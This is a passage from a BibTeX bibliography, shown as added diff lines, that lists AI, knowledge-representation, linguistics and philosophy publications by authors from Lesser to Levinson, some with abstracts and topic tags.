+ pages = {129--171}, + acontentnote = {Abstract: + The Integrated Processing and Understanding of Signals (IPUS) + architecture is presented as a framework that exploits formal + signal processing models to structure the bidirectional + interaction between front-end signal processing and signal + understanding processes. This architecture is appropriate for + complex environments, which are characterized by variable + signal-to-noise ratios, unpredictable source behaviors, and the + simultaneous occurrence of objects whose signal signatures can + distort each other. A key aspect of this architecture is that + front-end signal processing is dynamically modifiable in + response to scenario changes and to the need to reanalyze + ambiguous or distorted data. The architecture tightly integrates + the search for the appropriate front-end signal processing + configuration with the search for plausible interpretations. In + our opinion, this dual search, informed by formal signal + processing theory, is a necessary component of perceptual + systems that must interact with complex environments. To + explain this architecture in detail, we discuss examples of its + use in an implemented system for acoustic signal interpretation.}, + topic = {signal-processing;} + } + +@article{ lesser-etal:2000a, + author = {Victor Lesser and Bryan Horling and Frank Klassner and + Anita Raja and Thomas Wagner and Shelley XQ. Zhang}, + title = {{BIG}: An Agent for Resource-Bounded Information Gathering + and Decision Making}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {197--244}, + acontentnote = {Abstract: + The World Wide Web has become an invaluable information resource + but the explosion of available information has made Web search a + time consuming and complex process. The large number of + information sources and their different levels of accessibility, + reliability and associated costs present a complex information + gathering control problem. This paper describes the rationale, + architecture, and implementation of a next generation + information gathering system---a system that integrates several + areas of Artificial Intelligence research under a single + umbrella. Our solution to the information explosion is an + information gathering agent, BIG, that plans to gather + information to support a decision process, reasons about the + resource trade-offs of different possible gathering approaches, + extracts information from both unstructured and structured + documents, and uses the extracted information to refine its + search and processing activities. + } , + topic = {AI-and-the-internet;intelligent-information-retrieval; + distributed-AI;planning;} + } + +@article{ lester-porter:1997a, + author = {James C. Lester and Bruce W. Porter}, + title = {Developing and Empirically Evaluating Robust Explanation + Generators: The {\sc Knight} Experiments}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {65--101}, + topic = {explanation;nl-generation;} + } + +@incollection{ lester-etal:1998a, + author = {James C. Lester and William H. Bares and Charles + B. Callaway and Stuart G. Towns}, + title = {Natural Language Generation Journeys to Interactive + {3D} Worlds}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {2--7}, + address = {New Brunswick, New Jersey}, + topic = {NL-generation;multimedia-generation;explanation;} + } + +@incollection{ letz:1998a, + author = {R. Letz}, + title = {Clausal Tableaux}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;proof-theory;} + } + +@article{ leung-chow:2001a, + author = {Chi-Tat Leung and Tommy W.S. Chow}, + title = {Least Third-Order Cumulant Method with Adaptive + Regularization Parameter Selection for Neural Networksz}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {127}, + number = {2}, + pages = {169--197}, + topic = {connectionist-models;statistical-analysis-of-algorithms;} + } + +@article{ leung_ct-chow:1999a, + author = {Chi-Tat Leung and Tommy W.S. Chow}, + title = {Adaptive Regularization Parameter Selection Method + for Enhancing Generalization Capability of Neural + Networks}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {2}, + pages = {347--356}, + topic = {connectionist-learning;} + } + +@article{ leung_ct-chow_tws:2001a, + author = {Chi-Tat Leung and Tommy W.S. Chow}, + title = {Least Third-Order Cumulant Method with Adaptive + Regularization Parameter Selection for Neural Networks}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {2}, + pages = {169--197}, + topic = {connectionist-models;} + } + +@article{ leung_e-reinhold:1981a, + author = {E. Leung and H. Rheinhold}, + title = {Development of Pointing as a Social Gesture}, + journal = {Developmental Psychology}, + year = {1981}, + volume = {17}, + pages = {215--220}, + missinginfo = {A's 1st name, number}, + topic = {developmental-psychology;demonstratives;} + } + +@incollection{ leuschel:1994a, + author = {Michael Leuschel}, + title = {Partial Evaluation of the `Real Thing'\,}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {122--137}, + address = {Berlin}, + topic = {logic-programming;} + } + +@incollection{ levelt:1982a, + author = {Willian J.M. Levelt}, + title = {Linearization in Describing Spatial Networks}, + booktitle = {Processes, Beliefs, and Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1982}, + editor = {Stanley Peters and Esa Saarinen}, + pages = {199--220}, + address = {Dordrecht}, + topic = {nl-semantics;discourse;spatial-reasoning;pragmatics;} + } + +@article{ levene-fenner:2001a, + author = {Mark Levene and Trevor I. Fenner}, + title = {The Effect of Mobility on Minimaxing of Game Trees with + Random Leaf Values}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {130}, + number = {1}, + pages = {1--26}, + topic = {game-trees;minimaxing;search;} + } + +@article{ levenick:1998a, + author = {Jim Levenick}, + title = {Showing the Way: A Review of the Second Edition of + {H}olland's {\em Adaptation in Natural and Artificial Systems}}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {331--338}, + xref = {Review of: holland_jh:1992a.}, + topic = {complex-adaptive-systems;genetic-algorithms;} + } + +@article{ levesgue:1988b1, + author = {Hector J. Levesque}, + title = {Logic and the Complexity of Reasoning}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {4}, + pages = {355--389}, + xref = {Republication levesgue:1988b2}, + topic = {kr;complexity-in-AI;vivid-reasoning;kr-course;} + } + +@incollection{ levesgue:1988b2, + author = {Hector J. Levesque}, + title = {Logic and the Complexity of Reasoning}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Richmond H. Thomason}, + pages = {73--107}, + address = {Dordrecht}, + xref = {Original publication levesgue:1988b1}, + topic = {kr;complexity-in-AI;vivid-reasoning;kr-course;} + } + +@article{ levesque:1984a, + author = {Hector J. Levesque}, + title = {Foundations of a Functional Approach to Knowledge + Representation}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {2}, + pages = {155--212}, + acontentnote = {Abstract: + We present a new approach to knowledge representation where + knowledge bases are characterized not in terms of the structures + they use to represent knowledge, but functionally, in terms of + what they can be asked or told about some domain. Starting with + a representation system that can be asked questions and told + facts in a full first-order logical language, we then define + ask- and tell-operations over an extended language that can + refer not only to the domain but to what the knowledge base + knows about that domain. The major technical result is that the + resulting knowledge, which now includes auto-epistemic aspects, + can still be represented symbolically in first-order terms. We + also consider extensions to the framework such as defaults and + definitional facilities. The overall result is a formal + foundation for knowledge representation which, in accordance + with current principles of software design, cleanly separates + functionality from implementation structure. } , + topic = {kr;query-languages;autoepistemic-logic;} + } + +@inproceedings{ levesque:1984b, + author = {Hector J. Levesque}, + title = {A Logic of Implicit and Explicit Belief}, + booktitle = {Proceedings of the Fourth National Conference on + Artificial Intelligence}, + year = {1984}, + pages = {198--202}, + organization = {American Association for Artificial Intelligence}, + missinginfo = {editor, publisher, address}, + topic = {propositional-attitudes;epistemic-logic;resource-limited-reasoning; + hyperintensionality;belief;} + } + +@incollection{ levesque:1984c, + author = {Hector J. Levesque}, + title = {The Logic of Incomplete Knowledge Bases}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {163--189}, + address = {Berlin}, + topic = {foundations-of-kr;reasoning-about-uncertainty;} + } + +@inproceedings{ levesque-brachman:1984a, + author = {Hector J. Levesque and Ronald J. Brachman}, + title = {A Fundamental Tradeoff in {KR} and Reasoning}, + booktitle = {Proceedings of the CSCSI/SCEIO Conference 1984}, + year = {1984}, + pages = {141--152}, + xref = {Revised in Brachman and Levesque; Readings in Knowledge + Representation; 1985; see levesque-brachman:1985a}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ levesque-brachman:1985a, + author = {Hector J. Levesque and Ronald J. Brachman}, + title = {A Fundamental Tradeoff in {KR} and Reasoning}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + xref = {Revision of levesque-brachman:1984a}, + missinginfo = {pages}, + topic = {kr;foundations-of-kr;complexity-in-AI;kr-course;} + } + +@article{ levesque:1986a, + author = {Hector J. Levesque}, + title = {Making Believers out of Computers}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {1}, + pages = {81--108}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@article{ levesque:1987a, + author = {Hector J. Levesque}, + title = {Taking Issue: Guest Editor's Introduction}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {149--150}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@inproceedings{ levesque:1988a, + author = {Hector J. Levesque}, + title = {The Interaction with Incomplete Knowledge Bases: A + Formal Treatment}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {240--245}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {knowledge-representation;} + } + +@inproceedings{ levesque:1988c, + author = {Hector J. Levesque}, + title = {Comments on `Knowledge, Representation, and Rational + Self-Government'\, } , + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {361--362}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {logic-in-AI;} + } + +@inproceedings{ levesque:1989a, + author = {Hector J. Levesque}, + title = {A Knowledge-Level Account of Abduction}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1061--1067}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;abduction;epistemic-logic;kr-course;} + } + +@article{ levesque:1990a, + author = {Hector J. Levesque}, + title = {All {I} Know: A Study in Autoepistemic Logic}, + journal = {Artificial Intelligence}, + volume = {42}, + number = {3}, + year = {1990}, + pages = {263--309}, + topic = {nonmonotonic-logic;autoepistemic-logic;} + } + +@incollection{ levesque:1991a, + author = {Hector J. Levesque}, + title = {Belief and Introspection}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {247--260}, + address = {San Diego}, + topic = {belief;introspection;} + } + +@incollection{ levesque:1994a, + author = {Hector J. Levesque}, + title = {Knowledge, Action, and Ability in the Situation Calculus}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {1--4}, + address = {San Francisco}, + contentnote = {A brief survey talk.}, + topic = {action-formalisms;} + } + +@techreport{ levesque:1995a, + author = {Hector J. Levesque}, + title = {What is Planning in the Presence of Sensing?}, + institution = {Computer Science Department, University of + Toronto}, + year = {1995}, + address = {Toronto}, + missinginfo = {number}, + topic = {planning;cognitive-robotics;} + } + +@incollection{ levesque:1998a, + author = {Hector J. Levesque}, + title = {A Completeness Result for Reasoning with Incomplete + First-Order Knowledge Bases}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {14--23}, + address = {San Francisco, California}, + topic = {kr;vivid-reasoning;uncertainty-in-AI;kr-complexity-analysis; + truth-value-gaps;theorem-proving;kr-course;} + } + +@incollection{ levesque:1998b, + author = {Hector J. Levesque}, + title = {What Robots Can Do (Abstract)}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {651}, + address = {San Francisco, California}, + topic = {kr;cognitive-robotics;kr-course;} + } + +@inproceedings{ levesque:1999a, + author = {Hector J. Levesque}, + title = {Two Approaches to Efficient Open-World Reasoning}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {foundations-of-AI;theorem-proving;AI-algorithms;} + } + +@book{ levesque-lakemeyer:2000a, + author = {Hector J. Levesque and Gerhard Lakemeyer}, + title = {The Logic of Knowledge Bases}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-12232-4 (hardback)}, + topic = {kr;epistemic-logic;nonmonotonic-logic;autepistemic-logic;} + } + +@article{ levesque-etal:forthcominga, + author = {Hector J. Levesque and Raymond Reiter and Yves + Lesp\'erance and Fangzhen Lin and Richard B. Scherl}, + title = {{\sc golog}: a Logic Programming Language for Dynamic + Domains}, + journal = {Journal of Logic Programming}, + year = {1997}, + missinginfo = {number, volume, year, pages}, + topic = {cognitive-robotics;planning-systems;temporal-reasoning;} + } + +@article{ levi_g-sirovich:1976a, + author = {Giorgio Levi and Franco Sirovich}, + title = {Generalized AND/OR graphs}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {3}, + pages = {243--259}, + topic = {and/or-graphs;} + } + +@book{ levi_i:1967a, + author = {Isaac Levi}, + title = {Gambling With Truth: an Essay on Induction and the Aims of + Science}, + publisher = {Knopf}, + year = {1967}, + address = {New York}, + topic = {decision-theory;philosophy-of-science;} + } + +@article{ levi_i:1977a, + author = {Isaac Levi}, + title = {Direct Inference}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {74}, + pages = {5--29}, + topic = {foundations-of-statistics;probability-kinematics;} + } + +@article{ levi_i:1977b, + author = {Isaac Levi}, + title = {Subjunctives, Dispositions, and Chances}, + journal = {Synt\`hese}, + year = {1977}, + volume = {34}, + pages = {423--455}, + missinginfo = {number}, + topic = {dispositions;conditionals;} + } + +@article{ levi_i:1978a, + author = {Isaac Levi}, + title = {Coherence, Regularity, and Conditional Probability}, + journal = {Theory and Decision}, + year = {1978}, + volume = {9}, + pages = {1--15}, + missinginfo = {number}, + topic = {probability-kinematics;} + } + +@book{ levi_i:1980a, + author = {Isaac Levi}, + title = {The Enterprise of Knowledge}, + publisher = {The {MIT} Press}, + year = {1980}, + address = {Cambridge, Massachusetts}, + xref = {Review: } , + topic = {foundations-of-probability;belief-revision;probability-kinematics;} + } + +@article{ levi_i:1982a, + author = {Isaac Levi}, + title = {A Note on {N}ewcombmania}, + journal = {The Journal of Philosophy}, + year = {1982}, + volume = {74}, + number = {6}, + pages = {337--342}, + topic = {Newcomb-problem;} + } + +@book{ levi_i:1984a, + author = {Isaac Levi}, + title = {Decisions and Revisions: Philosophical Essays + on Knowledge and Value}, + publisher = {Cambridge University Press}, + year = {1984}, + address = {Cambridge}, + ISBN = {0521254574}, + topic = {foundations-of-statistics;probability-kinematics; + philosophy-of-science;} + } + +@incollection{ levi_i:1984b, + author = {Isaac Levi}, + title = {Serious Possibility}, + booktitle = {Decisions and Revisions: Philosophical Essays + on Knowledge and Value}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1984}, + editor = {Isaac Levi}, + missinginfo = {pages}, + topic = {possibility;} + } + +@article{ levi_i:1987a, + author = {Isaac Levi}, + title = {Review of {\it {C}hange in View}, by {G}ilbert {H}arman}, + journal = {The Journal of Philosophy}, + year = {1987}, + volume = {84}, + number = {7}, + pages = {376--384}, + xref = {Review of harman:1986a.}, + topic = {belief-revision;limited-rationality;} + } + +@article{ levi_i:1988a, + author = {Isaac Levi}, + title = {The Iteration of Conditionals and the + {R}amsey Test}, + journal = {Synth\'ese}, + year = {1988}, + volume = {76}, + number = {1}, + pages = {49--81}, + topic = {conditionals;probability-kinematics;cccp;} + } + +@incollection{ levi_i:1988b, + author = {Isaac Levi}, + title = {Four Themes in Statistical Explanation}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {195--222}, + address = {Dordrecht}, + topic = {foundations-of-probability;explanation;statistical-explanation;} + } + +@article{ levi_i:1990a, + author = {Isaac Levi}, + title = {Chance}, + journal = {Philosophical Topics}, + year = {1990}, + volume = {18}, + number = {2}, + pages = {117--149}, + topic = {foundations-of-probability;} + } + +@book{ levi_i:1991a, + author = {Isaac Levi}, + title = {The Fixation of Belief and Its Undoing: Changing + Beliefs through Inquiry}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + ISBN = {0521412668}, + topic = {foundations-of-probability;belief-revision; + statistical-inference;} + } + +@book{ levi_i:1996a, + author = {Isaac Levi}, + title = {For the Sake of Argument: {R}amsey Test Conditionals, + Inductive Inference, and Nonmonotonic Reasoning}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {Review: morreau:1998a.}, + topic = {conditionals;nonmonotonic-reasoning;induction; + belief-kinematics;probability-kinematics;} + } + +@article{ levi_i:1997a, + author = {Isaac Levi}, + title = {Review of {\it Making Choices: A Recasting of Decision + Theory}, by {F}rederic {S}chick}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {11}, + pages = {588--597}, + xref = {Review of schick_f:1997a.}, + topic = {foundations-of-decision-theory;moral-conflict;} + } + +@book{ levi_i:1997b, + author = {Isaac Levi}, + title = {The Covenant of Reason: Rationality and the + Commitments of Thought}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0521572886 (hardcover)}, + topic = {rationality;statistical-inference;} + } + +@article{ levi_i:2000a, + author = {Isaac Levi}, + title = {Review of {\it The Foundations of Causal Decision + Theory}, by {J}ames {M}. {J}oyce}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {2}, + pages = {387--402}, + xref = {Review of joyce:1999a.}, + topic = {causal-decision-theory;} + } + +@book{ levi_jn:1978a, + author = {Judith N. Levi}, + title = {The Syntax and Semantics of Complex Nominals}, + publisher = {Academic Press}, + year = {1978}, + address = {New York}, + topic = {compound-nouns;nominal-constructions;} + } + +@book{ levi_jn:1982a, + author = {Judith N. Levi}, + title = {The Syntax and Semantics of Nonpredicating Adjectives in {E}nglish + (Preliminary Version)}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {adjectives;semantics-of-adjectives;} + } + +@book{ levi_jn-walker_ag:1990a, + editor = {Judith N. Levi and Anne Graffam Walker}, + title = {Language in the Judicial Process}, + publisher = {Plenum Press}, + year = {1990}, + address = {New York}, + topic = {forensic-linguistics;} + } + +@incollection{ levin-etal:1999a, + author = {Lori Levin and Klaus Ries and Ann Thym\'e-Gobbel and Alon + Levie}, + title = {Tagging of Speech Acts and Dialogue Games + in {S}panish Call Home}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {42--47}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;speech-acts;Spanish-language;} + } + +@article{ levin_b-rappaport:1992a, + author = {Beth Levin and Malka Rappaport}, + title = {The Formation of Adjectival Passives}, + journal = {Linguistic Inquiry}, + year = {1992}, + volume = {17}, + pages = {663--662}, + missinginfo = {number}, + topic = {argument-structure;} + } + +@article{ levin_b-rappaport:1992b, + author = {Beth Levin and Malka Rappaport}, + title = {Non-Event {\em-er-}Nominals: A Probe Into Argument Structure}, + journal = {Linguistics}, + year = {1992}, + volume = {26}, + pages = {1067--1084}, + missinginfo = {number}, + topic = {argument-structure;} + } + +@incollection{ levin_b-rappaport:1992c, + author = {Beth Levin and Malka {Rappaport Hovav}}, + title = {Wiping the Slate Clean: a Lexical Semantic Exploration}, + booktitle = {Lexical and Conceptual Semantics}, + year = {1992}, + editor = {Beth Levin and Steven Pinker}, + publisher = {Blackwell Publishers}, + pages = {123--151}, + address = {Oxford}, + topic = {lexical-semantics;verb-classes;verb-semantics;} + } + +@incollection{ levin_b-rappaport:1992d, + author = {Beth Levin and Malka Rappaport}, + title = {The Lexical Semantics of Verbs of Motion: The Perspective From + Unaccusativity}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {247--269}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;} + } + +@book{ levin_b:1993a, + author = {Beth C. Levin}, + title = {English Verb Classes and Alternations: a Preliminary + Investigation}, + year = {1993}, + publisher = {University of Chicago Press}, + address = {Chicago, IL}, + topic = {transitivity-alternations;argument-structure;lexical-semantics; + verb-classes;thematic-roles;} + } + +@incollection{ levin_b:1993b, + author = {Beth C. Levin}, + title = {The Contribution of Linguistics}, + booktitle = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Madeleine Bates and Ralph Weischedel}, + pages = {76--98}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;lexical-semantics;verb-classes;} + } + +@article{ levin_b-rappaport:1994a, + author = {Beth Levin and Malka Rappaport}, + title = {A Preliminary Analysis of Causative Verbs in {E}nglish}, + journal = {Lingua}, + year = {1994}, + volume = {92}, + pages = {35--77}, + missinginfo = {number}, + topic = {lexical-semantics;nl-causatives;} + } + +@book{ levin_b-hovav:1995b, + author = {Beth C. Levin and Malka Rappaport Hovav}, + title = {Unaccusativity: At the Syntax-Lexical Semantics + Interface}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {unaccusativity;lexical-semantics;} + } + +@incollection{ levin_b-hovav:1996a, + author = {Beth Levin and Malka {Rappaport Hovav}}, + title = {Lexical Semantics and Syntactic Structure}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {487--507}, + topic = {lexical-semantics;} + } + +@book{ levin_l-etal:1983a, + editor = {Lori Levin and Malka Rappaport and Annie Zaenen}, + title = {Papers in Lexical-Functional Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1983}, + address = {Bloomington, Indiana}, + ISBN = {0582291496}, + contentnote = {TC: + 1. Mark Baker, "Objects, Themes, and Lexical Rules in {I}talian" + 2. K.P. Mohanan, "Move {NP} or Lexical Rules?: Evidence from + {M}alayalam Causativisation" + 3. Malka Rappaport, "On the Nature of Derived Nominals" + 4. Jane Simpson, "Resultatives" + 5. Annie Zaenen and Joan Maling, "Passive and oblique case" } , + topic = {LFG;} + } + +@incollection{ levin_l-nirenburg:1994a, + author = {Lori Levin and Sergei Nirenburg}, + title = {Construction-Based {MT} Lexicons}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {321--338}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;machine-translation;} + } + +@incollection{ levin_m:1978a, + author = {Michael Levin}, + title = {Explanation and Predication in Grammar}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {179--188}, + address = {Minneapolis}, + topic = {philosophy-of-linguistics;} + } + +@article{ levin_n-prince:1986a, + author = {N. Levin and E. Prince}, + title = {Gapping and Causal Implicature}, + journal = {Papers in Linguistics}, + year = {1986}, + volume = {1986}, + missinginfo = {A's 1st name, number, pages}, + topic = {implicature;pragmatics;} + } + +@book{ levine_ds:1991a, + author = {Daniel S. Levine}, + title = {Introduction To Neural and Cognitive Modeling}, + publisher = {Lawrence Erlbaum Associates}, + year = {1991}, + address = {Hillsdale, New Jersey}, + ISBN = {0805802673}, + xref = {Review: becker_s:1993a.}, + topic = {cognitive-modeling;neurocognition;} + } + +@book{ levine_ds:2000a, + author = {Daniel S. Levine}, + title = {Introduction To Neural and Cognitive Modeling}, + publisher = {Lawrence Erlbaum Associates}, + edition = {2}, + year = {2000}, + address = {Mahwah, New Jersey}, + ISBN = {0805820051}, + topic = {cognitive-modeling;neurocognition;} + } + +@article{ levine_j1:1998a, + author = {James Levine}, + title = {Acquaintance, Denoting Concepts, and Sense}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {3}, + pages = {415--445}, + contentnote = {This is about the Gray's elegy argument}, + topic = {on-denoting;Russell;} + } + +@article{ levine_j1:2001a, + author = {James Levine}, + title = {Review of {\em Russell's Hidden Substitutional Theory}, by + {G}regory {L}andini}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {138--141}, + xref = {Review of landini:1998a.}, + topic = {Russell;ramified-type-theory;} + } + +@inproceedings{ levine_jm:1990a, + author = {John M. Levine}, + title = {{PRAGMA}---A Flexible Bidirectional Dialogue System}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {964--969}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {nl-generation;nl-interpretation;} + } + +@incollection{ levine_jm-moreland:1991a, + author = {John M. Levine and Richard L. Moreland}, + title = {Culture and Socialization in Work Groups}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {257--279}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@book{ levine_jr-etal:1992a, + author = {John R. Levine and Tony Mason and Doug Brown}, + title = {Lex \& Yacc}, + edition = {2}, + publisher = {O'Reilly}, + year = {1992}, + address = {Beijing}, + ISBN = {1-56592-000-7}, + topic = {programming-manual;} + } + +@book{ levine_rd-green_gm:1999a, + editor = {Robert D. Levine and Georgia M. Green}, + title = {Studies in Contemporary Phrase Structure Grammar}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Christopher D. Manning, Ivan A. Sag, and Masayo Iida, "The + Lexical Integrity of {J}apanese Causatives" + 2. Michael J.R. Johnston, "A Syntax and Semantics for + Purposive Adjuncts in {HPSG}" + 3. Takao Gunji, "On Lexicalist Treatments of {J}apanese + Causatives" + 4. Kathryn L. Baker, "\,`Modal Flip' and Partial Verb Phrase + Fronting in {G}erman" + 5. Kazuhiko Fukushima, "A Lexical Comment on a Syntactic + Topic" + 6. Andreas Kathol, "Agreement and the Syntax-Morphology + Interface in {HPSG}" + 7. Erhard W. Hinrichs and Tsuneko Nakazawa, "Partial {VP} and + Split {NP} Topicalization in {G}erman: An {HPSG} + Analysis" } , + topic = {nl-syntax;GPSG;HPSG;} + } + +@phdthesis{ levinson_jp:1985a, + author = {Joan Persily Levinson}, + title = {Punctuation and the Orthographic Sentence: A + Linguistic Analysis}, + school = {City University of New York}, + year = {1985}, + topic = {punctuation;} +} + +@article{ levinson_r1:1995a, + author = {Richard Levinson}, + title = {A General Programming Language for Unified Planning and + Control}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {319--375}, + acontentnote = {Abstract: + This paper presents a method for embedding predictive search + techniques within a general-purpose programming language. We + focus on using this language to program the behavior of a + real-time control system. Our goal is the ability to write + complex programs that can be interpreted by both a real-time + controller and an associated planner. The language provides an + expressive action representation which captures the procedural + complexities of practical control programs, yet can still be + projected by a search-based planner. To support integration with + the real-time controller, the planner can provide useful advice + when it is interrupted after an arbitrary amount of computation. + The system provides a unified approach since the planner and the + controller share identical data structures and algorithms for + interpreting a shared action representation. This unified + representation facilitates very tight integration between the + planner and the controller. } , + topic = {planning-formalisms;procedural-control;} + } + +@incollection{ levinson_r2:1992a, + author = {Robert Levinson}, + title = {Pattern Associativity and the Retrieval of Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {573--600}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;} + } + +@unpublished{ levinson_sc:1972a, + author = {Stephen C. Levinson}, + title = {The Organization of Conversation}, + year = {1972}, + note = {Unpublished manuscript.}, + topic = {pragmatics;} + } + +@unpublished{ levinson_sc:1973a, + author = {Stephen C. Levinson}, + title = {Language and Society (That's All)}, + year = {1973}, + note = {Unpublished manuscript.}, + topic = {pragmatics;} + } + +@unpublished{ levinson_sc:1973b, + author = {Stephen C. Levinson}, + title = {Felicity Conditions as Applications of {G}rice's Maxims + to Particular Speech Act Types}, + year = {1973}, + note = {Unpublished manuscript.}, + topic = {pragmatics;speech-acts;} + } + +@unpublished{ levinson_sc-atlas:1973a, + author = {Stephen C. Levinson and Jay Atlas}, + title = {What {IS} an Implicature)}, + year = {1973}, + note = {Unpublished manuscript.}, + topic = {pragmatics;implicature;} + } + +@article{ levinson_sc:1979a, + author = {Stephen C. Levinson}, + title = {Activity Types and Language}, + journal = 